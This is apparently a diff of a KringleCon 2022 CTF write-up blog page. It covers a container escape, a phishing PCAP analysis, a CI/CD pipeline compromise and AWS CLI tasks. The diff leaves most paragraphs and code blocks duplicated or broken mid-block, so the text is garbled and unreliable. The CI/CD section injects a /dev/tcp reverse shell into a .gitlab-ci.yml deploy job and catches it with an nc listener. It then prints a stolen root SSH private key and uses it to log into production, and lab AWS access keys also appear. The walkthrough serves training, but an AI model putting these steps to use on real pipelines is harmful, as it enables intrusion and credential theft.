@@ -30,12 +30,12 @@ Units: sectors of 1 * 512 = 512 bytes
Disk /dev/vda doesn&#39;t contain a valid partition table
</code></pre><p>This <code>vda</code> device may point to the host filesystem. So it&rsquo;s worth mounting and
exploring. We run the following to create a mountpoint and subsequently
mounting the volume:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>mkdir -p /mnt/vda <span style=color:#f92672>&amp;&amp;</span> mount /dev/vda /mnt/vda
mounting the volume:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>mkdir -p /mnt/vda <span style=color:#f92672>&amp;&amp;</span> mount /dev/vda /mnt/vda
</span></span></code></pre></div><p>Upon changing directory to <code>/mnt/vda</code>, we can indeed explore the host
filesystem. The challenge introduction talked something about keys:</p><blockquote><p>Please, do your best to un-contain yourself and find the keys to both of your freedom.</p></blockquote><p>Let&rsquo;s look for files that have the word &ldquo;key&rdquo; in them:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>find /mnt/vda -name <span style=color:#e6db74>&#34;*key*&#34;</span> 2&gt;/dev/null
</span></span></code></pre></div><p>Among the files listed, we can find <code>/mnt/vda/home/jailer/.ssh/jail.key.priv</code> whose contents can be listed by running:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat /mnt/vda/home/jailer/.ssh/jail.key.priv
filesystem. The challenge introduction talked something about keys:</p><blockquote><p>Please, do your best to un-contain yourself and find the keys to both of your freedom.</p></blockquote><p>Let&rsquo;s look for files that have the word &ldquo;key&rdquo; in them:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>find /mnt/vda -name <span style=color:#e6db74>&#34;*key*&#34;</span> 2&gt;/dev/null
</span></span></code></pre></div><p>Among the files listed, we can find <code>/mnt/vda/home/jailer/.ssh/jail.key.priv</code> whose contents can be listed by running:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cat /mnt/vda/home/jailer/.ssh/jail.key.priv
</span></span></code></pre></div><p>This gives us the key <code>082bb339ec19de4935867</code> which can be submitted in our objectives section.</p><h3 id=wireshark-phishing>Wireshark Phishing</h3><p>We begin by saying <code>yes</code> to the challenge, downloading the PCAP file and opening it up in wireshark.
The following are the questions, their answers and explanations.</p><ol><li><p>There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?</p><p>Answer: HTTP</p><p>Explanation: We can go to <code>File</code> > <code>Export Objects</code> > <code>HTTP ...</code></p></li></ol><p><img src=../../kringlecon/2022/export-http-objects.png alt="Exporting HTTP objects"></p><ol start=2><li><p>What is the file name of the largest file we can export?</p><p>Answer: <code>app.php</code></p><p>Explanation: In the export objects dialog, we notice the second entry with the largest size (808 kB) has the name <code>app.php</code></p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-19-50.png alt=Screenshot-from-2022-12-11-20-19-50.png></p><ol start=3><li><p>What packet number starts that app.php file?</p><p>Answer: 687</p><p>Explanation: Right before the entry&rsquo;s name, we see it starts from packet 687</p></li><li><p>What is the IP of the Apache server?</p><p>Answer: <code>192.185.57.242</code></p><p>Explanation: We use the <code>http</code> filter in wireshark. We notice right at the first filtered entry, a GET request goes to <code>192.185.57.242</code></p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-21-06.png alt=Screenshot-from-2022-12-11-20-21-06.png></p><ol start=5><li><p>What file is saved to the infected host?</p><p>Answer: Ref_Sept24-2020.zip</p><p>Explanation: At packet 687, we can inspect the line-based text data for the HTTP response and the embedded script seems to save a blob to the file &lsquo;Ref_Sept24-2020.zip&rsquo;.</p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-23-02.png alt=Screenshot-from-2022-12-11-20-23-02.png></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// --{snip}--
The following are the questions, their answers and explanations.</p><ol><li><p>There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?</p><p>Answer: HTTP</p><p>Explanation: We can go to <code>File</code> > <code>Export Objects</code> > <code>HTTP ...</code></p></li></ol><p><img src=../../kringlecon/2022/export-http-objects.png alt="Exporting HTTP objects"></p><ol start=2><li><p>What is the file name of the largest file we can export?</p><p>Answer: <code>app.php</code></p><p>Explanation: In the export objects dialog, we notice the second entry with the largest size (808 kB) has the name <code>app.php</code></p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-19-50.png alt=Screenshot-from-2022-12-11-20-19-50.png></p><ol start=3><li><p>What packet number starts that app.php file?</p><p>Answer: 687</p><p>Explanation: Right before the entry&rsquo;s name, we see it starts from packet 687</p></li><li><p>What is the IP of the Apache server?</p><p>Answer: <code>192.185.57.242</code></p><p>Explanation: We use the <code>http</code> filter in wireshark. We notice right at the first filtered entry, a GET request goes to <code>192.185.57.242</code></p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-21-06.png alt=Screenshot-from-2022-12-11-20-21-06.png></p><ol start=5><li><p>What file is saved to the infected host?</p><p>Answer: Ref_Sept24-2020.zip</p><p>Explanation: At packet 687, we can inspect the line-based text data for the HTTP response and the embedded script seems to save a blob to the file &lsquo;Ref_Sept24-2020.zip&rsquo;.</p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-23-02.png alt=Screenshot-from-2022-12-11-20-23-02.png></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// --{snip}--
</span></span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>byteNumbers</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> Array(<span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>length</span>);
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> (<span style=color:#66d9ef>let</span> <span style=color:#a6e22e>i</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>; <span style=color:#a6e22e>i</span> <span style=color:#f92672>&lt;</span> <span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>length</span>; <span style=color:#a6e22e>i</span><span style=color:#f92672>++</span>) {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>byteNumbers</span>[<span style=color:#a6e22e>i</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>charCodeAt</span>(<span style=color:#a6e22e>i</span>);
@@ -49,18 +49,18 @@ The following are the questions, their answers and explanations.</p><ol><li><p>T
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>})();
</span></span><span style=display:flex><span><span style=color:#75715e>// --{snip}--
</span></span></span></code></pre></div><ol start=6><li><p>Attackers used bad TLS certificates in this traffic. Which countries were they registered to? Submit the names of the countries in alphabetical order separated by a commas (Ex: Norway, South Korea).</p><p>Answer: Ireland, Israel, South Sudan, United States</p><p>Explanation: This time, we&rsquo;ll use <code>tshark</code> because we don&rsquo;t want to manually skim through a bunch of packets.</p></li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>tshark -r suspicious.pcap -Y <span style=color:#e6db74>&#34;tls.handshake.certificate&#34;</span> -T fields -e x509sat.CountryName | sed <span style=color:#e6db74>&#39;s/,/\n/g&#39;</span> | sort -u
</span></span></span></code></pre></div><ol start=6><li><p>Attackers used bad TLS certificates in this traffic. Which countries were they registered to? Submit the names of the countries in alphabetical order separated by a commas (Ex: Norway, South Korea).</p><p>Answer: Ireland, Israel, South Sudan, United States</p><p>Explanation: This time, we&rsquo;ll use <code>tshark</code> because we don&rsquo;t want to manually skim through a bunch of packets.</p></li></ol><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>tshark -r suspicious.pcap -Y <span style=color:#e6db74>&#34;tls.handshake.certificate&#34;</span> -T fields -e x509sat.CountryName | sed <span style=color:#e6db74>&#39;s/,/\n/g&#39;</span> | sort -u
</span></span></code></pre></div><p>Here&rsquo;s how the above command works:</p><ul><li>The <code>-Y</code> flag specifies the wireshark filter of <code>tls.handshake.certificate</code></li><li><code>-T fields -e x509sat.CountryName</code> extracts the country names from the certificates.</li><li>We pipe through <code>sed</code> to split comma separated values into individual lines</li><li>Finally, <code>sort -u</code> to sort the unique items.</li></ul><p>This results in:</p><pre tabindex=0><code>IE
IL
SS
US
</code></pre><p>If we look up the country codes at <a href=https://country-code.cl>https://country-code.cl</a>, we get our answer <code>Ireland, Israel, South Sudan, United States</code>.</p><ol start=7><li><p>Is the host infected (Yes/No)?</p><p>Answer: Yes</p><p>Explanation: With the DNS requests for <code>wpad.localdomain</code> (like in packet 4792) from our host, we can confirm that an active directory exploit (the web proxy auto-discovery exploit probably using responder) is running. It&rsquo;s probably the malware that just dropped.</p></li></ol><h3 id=jolly-cicd>Jolly CI/CD</h3><p>We are dropped into a container environment as the user <code>samways</code>. If we talk to Tinsel Upatree, he tells us about a repository he accidentally committed to:</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-09-14-16-18.png alt=Screenshot-from-2022-12-09-14-16-18.png></p><blockquote><p>WHOOPS! I didn&rsquo;t mean to commit that to <a href=http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git>http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git</a></p></blockquote><p>We will try to clone this repository.</p><blockquote><p>Note: This gitlab endpoint takes some time to start. I was unaware of this phenomenon and discarded the host as something of interest once git was unable to resolve this host.</p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal
</code></pre><p>If we look up the country codes at <a href=https://country-code.cl>https://country-code.cl</a>, we get our answer <code>Ireland, Israel, South Sudan, United States</code>.</p><ol start=7><li><p>Is the host infected (Yes/No)?</p><p>Answer: Yes</p><p>Explanation: With the DNS requests for <code>wpad.localdomain</code> (like in packet 4792) from our host, we can confirm that an active directory exploit (the web proxy auto-discovery exploit probably using responder) is running. It&rsquo;s probably the malware that just dropped.</p></li></ol><h3 id=jolly-cicd>Jolly CI/CD</h3><p>We are dropped into a container environment as the user <code>samways</code>. If we talk to Tinsel Upatree, he tells us about a repository he accidentally committed to:</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-09-14-16-18.png alt=Screenshot-from-2022-12-09-14-16-18.png></p><blockquote><p>WHOOPS! I didn&rsquo;t mean to commit that to <a href=http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git>http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git</a></p></blockquote><p>We will try to clone this repository.</p><blockquote><p>Note: This gitlab endpoint takes some time to start. I was unaware of this phenomenon and discarded the host as something of interest once git was unable to resolve this host.</p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal
</span></span></code></pre></div><p>Inside this directory, let&rsquo;s inspect the git history by running <code>git log</code>. A few commits deep, we see one titled &ldquo;whoops&rdquo;</p><pre tabindex=0><code>commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh &lt;sporx@kringlecon.com&gt;
Date: Tue Oct 25 13:42:54 2022 -0700
whoops
</code></pre><p>Let&rsquo;s see what blunder was committed:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>git diff-tree -p e19f653bde9ea3de6af21a587e41e7a909db1ca5
</code></pre><p>Let&rsquo;s see what blunder was committed:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>git diff-tree -p e19f653bde9ea3de6af21a587e41e7a909db1ca5
</span></span></code></pre></div><pre tabindex=0><code>diff --git a/.ssh/.deploy b/.ssh/.deploy
deleted file mode 100644
index 3f7a9e3..0000000
@@ -81,40 +81,40 @@ index 8c0b43c..0000000
+++ /dev/null
@@ -1 +0,0 @@
-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com
</code></pre><p>We see that the author removed a private and public key-pair. These are the files <code>.ssh/.deploy</code> and <code>.ssh/.deploy.pub</code>. We will reset the repository to the commit before this one to see the files.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>git reset --hard abdea0ebb21b156c01f7533cea3b895c26198c98
</span></span></code></pre></div><p>Let&rsquo;s copy this <code>.ssh</code> directory to our home.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cp -r .ssh/ ~
</span></span></code></pre></div><p>Let&rsquo;s also not forget imposing the correct permissions on the private key.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>chmod <span style=color:#ae81ff>600</span> ~/.ssh/.deploy
</code></pre><p>We see that the author removed a private and public key-pair. These are the files <code>.ssh/.deploy</code> and <code>.ssh/.deploy.pub</code>. We will reset the repository to the commit before this one to see the files.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>git reset --hard abdea0ebb21b156c01f7533cea3b895c26198c98
</span></span></code></pre></div><p>Let&rsquo;s copy this <code>.ssh</code> directory to our home.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cp -r .ssh/ ~
</span></span></code></pre></div><p>Let&rsquo;s also not forget imposing the correct permissions on the private key.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>chmod <span style=color:#ae81ff>600</span> ~/.ssh/.deploy
</span></span></code></pre></div><p>We will make a config file in the <code>~/.ssh</code> directory so that the deploy keys are used when connecting to the internal gitlab endpoint. We write the following to <code>~/.ssh/config</code>:</p><pre tabindex=0><code>Host gitlab.flag.net.internal
HostName gitlab.flag.net.internal
User git
IdentityFile ~/.ssh/.deploy
</code></pre><p>We will backup whatever we had cloned initially.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cd ..
</code></pre><p>We will backup whatever we had cloned initially.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cd ..
</span></span><span style=display:flex><span>mv wordpress.flag.net.internal/ bak
</span></span></code></pre></div><p>Let&rsquo;s clone the repository using the SSH keys. This way we will be able to impersonate as the author and push any changes made to the repository.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>git clone ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
</span></span></code></pre></div><p>Let&rsquo;s clone the repository using the SSH keys. This way we will be able to impersonate as the author and push any changes made to the repository.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>git clone ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
</span></span></code></pre></div><p>There&rsquo;s a <code>.gitlab-ci.yml</code> that looks like the following:</p><pre tabindex=0><code>deploy-job:
stage: deploy
environment: production
script:
- rsync -e &#34;ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy&#34; --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html
</code></pre><p>We will now append the following line to it:</p><pre tabindex=0><code> - sh -i &gt;&amp; /dev/tcp/172.18.0.99/9001 0&gt;&amp;1
</code></pre><p>This adds a script under the deploy jobs that starts a reverse shell back to us. Since we need to start a listener in a separate terminal, we will run <code>tmux</code>. Let&rsquo;s start listening for the reverse shell.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>nc -lvp <span style=color:#ae81ff>9001</span>
</span></span></code></pre></div><p>In another pane, created by pressing <code>^b</code> and <code>"</code>, we commit and push the changes we made.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>git config user.name <span style=color:#e6db74>&#34;foo&#34;</span>
</code></pre><p>This adds a script under the deploy jobs that starts a reverse shell back to us. Since we need to start a listener in a separate terminal, we will run <code>tmux</code>. Let&rsquo;s start listening for the reverse shell.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>nc -lvp <span style=color:#ae81ff>9001</span>
</span></span></code></pre></div><p>In another pane, created by pressing <code>^b</code> and <code>"</code>, we commit and push the changes we made.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>git config user.name <span style=color:#e6db74>&#34;foo&#34;</span>
</span></span><span style=display:flex><span>git config user.email <span style=color:#e6db74>&#34;foo@bar.baz&#34;</span>
</span></span><span style=display:flex><span>git commit -am <span style=color:#e6db74>&#34;update&#34;</span>
</span></span><span style=display:flex><span>git push
</span></span></code></pre></div><p>Bam! We get a connection back.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>&lt;ziL/0/rings-of-powder/wordpress.flag.net.internal# cd
</span></span></code></pre></div><p>Bam! We get a connection back.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-text data-lang=text><span style=display:flex><span>&lt;ziL/0/rings-of-powder/wordpress.flag.net.internal# cd
</span></span><span style=display:flex><span>gitlab-runner:~#
</span></span></code></pre></div><p>We had earlier observed from the repository&rsquo;s <code>.gitlab-ci.yml</code> that the runner has an SSH private key at <code>/etc/gitlab-runner/hhc22-wordpress-deploy</code> that is used to log into the <code>wordpress.flag.net.internal</code> endpoint as <code>root</code>. Let&rsquo;s quickly grab it through our reverse shell (Press <code>^b</code>, <code></code> to switch to the reverse shell pane).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat /etc/gitlab-runner/hhc22-wordpress-deploy
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>-----BEGIN OPENSSH PRIVATE KEY-----
</span></span></code></pre></div><p>We had earlier observed from the repository&rsquo;s <code>.gitlab-ci.yml</code> that the runner has an SSH private key at <code>/etc/gitlab-runner/hhc22-wordpress-deploy</code> that is used to log into the <code>wordpress.flag.net.internal</code> endpoint as <code>root</code>. Let&rsquo;s quickly grab it through our reverse shell (Press <code>^b</code>, <code></code> to switch to the reverse shell pane).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cat /etc/gitlab-runner/hhc22-wordpress-deploy
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-text data-lang=text><span style=display:flex><span>-----BEGIN OPENSSH PRIVATE KEY-----
</span></span><span style=display:flex><span>b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
</span></span><span style=display:flex><span>QyNTUxOQAAACD8EYdZTOpf5REuWXMb9FKCFWoiIX2HoU1aH90V0Ptq3wAAAJiMXr0BjF69
</span></span><span style=display:flex><span>AQAAAAtzc2gtZWQyNTUxOQAAACD8EYdZTOpf5REuWXMb9FKCFWoiIX2HoU1aH90V0Ptq3w
</span></span><span style=display:flex><span>AAAEBtNE6sqOFoqkmOhcB/9DgzaQhQRC/bwkAbsBXwqrt/mPwRh1lM6l/lES5Zcxv0UoIV
</span></span><span style=display:flex><span>aiIhfYehTVof3RXQ+2rfAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
</span></span><span style=display:flex><span>-----END OPENSSH PRIVATE KEY-----
</span></span></code></pre></div><p>We&rsquo;ll copy this to our clipboard, terminate our reverse shell and paste it to a file called <code>key</code>. Finally, we correct the permissions on it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>chmod <span style=color:#ae81ff>600</span> key
</span></span></code></pre></div><p>Now we can SSH into the production server.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>ssh -i key root@wordpress.flag.net.internal
</span></span></code></pre></div><p>We can now read the flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat /flag.txt
</span></span></code></pre></div><p>We&rsquo;ll copy this to our clipboard, terminate our reverse shell and paste it to a file called <code>key</code>. Finally, we correct the permissions on it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>chmod <span style=color:#ae81ff>600</span> key
</span></span></code></pre></div><p>Now we can SSH into the production server.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>ssh -i key root@wordpress.flag.net.internal
</span></span></code></pre></div><p>We can now read the flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cat /flag.txt
</span></span></code></pre></div><pre tabindex=0><code>Congratulations! You&#39;ve found the HHC2022 Elfen Ring!
--{snip}--
@@ -123,21 +123,21 @@ oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT
--{snip}--
</code></pre><p>Well! Wasn&rsquo;t that one heck of a ride? All that&rsquo;s left is to submit the flag.</p><hr><h4 id=a-brief-intermission>A brief intermission</h4><p>The next thing I did was something any sane pentester does after solving a 5/5 difficulty challenge. That&rsquo;s right, I bought a hat. First we go to the vending machine in the Burning Ring of Fire area. I went to a nearby KTM (KringleCoin Teller Machine) and approved a transaction to <code>0x4274115D3C76f9b2a5C155FF747d50C09cE839f9</code> and used Hat ID <code>175</code> at the kiosk to complete my purchase. This inadvertently completed the <strong>Buy a hat</strong> objective which means you probably should buy a hat too. Sweet beanie, onward!</p><hr><h3 id=aws-cli-intro>AWS CLI Intro</h3><p>The first question asks us to run <code>aws help</code> to get us acquainted with the basics.
Next, we are asked to configure the default aws cli credentials with the access key <code>AKQAAYRKO7A5Q5XUY2IY</code>, the secret key <code>qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf</code> and the region <code>us-east-1</code>. We will run</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws configure
Next, we are asked to configure the default aws cli credentials with the access key <code>AKQAAYRKO7A5Q5XUY2IY</code>, the secret key <code>qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf</code> and the region <code>us-east-1</code>. We will run</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws configure
</span></span></code></pre></div><p>and enter the details.</p><pre tabindex=0><code>AWS Access Key ID [None]: AKQAAYRKO7A5Q5XUY2IY
AWS Secret Access Key [None]: qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf
Default region name [None]: us-east-1
Default output format [None]:
</code></pre><p>To finish, we are asked to get our caller identity using the AWS command line.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws sts get-caller-identity
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</code></pre><p>To finish, we are asked to get our caller identity using the AWS command line.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws sts get-caller-identity
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;UserId&#34;</span>: <span style=color:#e6db74>&#34;AKQAAYRKO7A5Q5XUY2IY&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Account&#34;</span>: <span style=color:#e6db74>&#34;602143214321&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Arn&#34;</span>: <span style=color:#e6db74>&#34;arn:aws:iam::602143214321:user/elf_helpdesk&#34;</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>That completes the introduction.</p><h3 id=exploitation-via-aws-cli>Exploitation via AWS CLI</h3><p>We are asked to do the following:</p><blockquote><p>Use Trufflehog to find credentials in the Gitlab instance at <a href=https://haugfactory.com/asnowball/aws_scripts.git>https://haugfactory.com/asnowball/aws_scripts.git</a>.
Configure these credentials for us-east-1 and then run: aws sts get-caller-identity</p></blockquote><p>Let&rsquo;s clone the repository and change directories into it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>git clone https://haugfactory.com/asnowball/aws_scripts.git
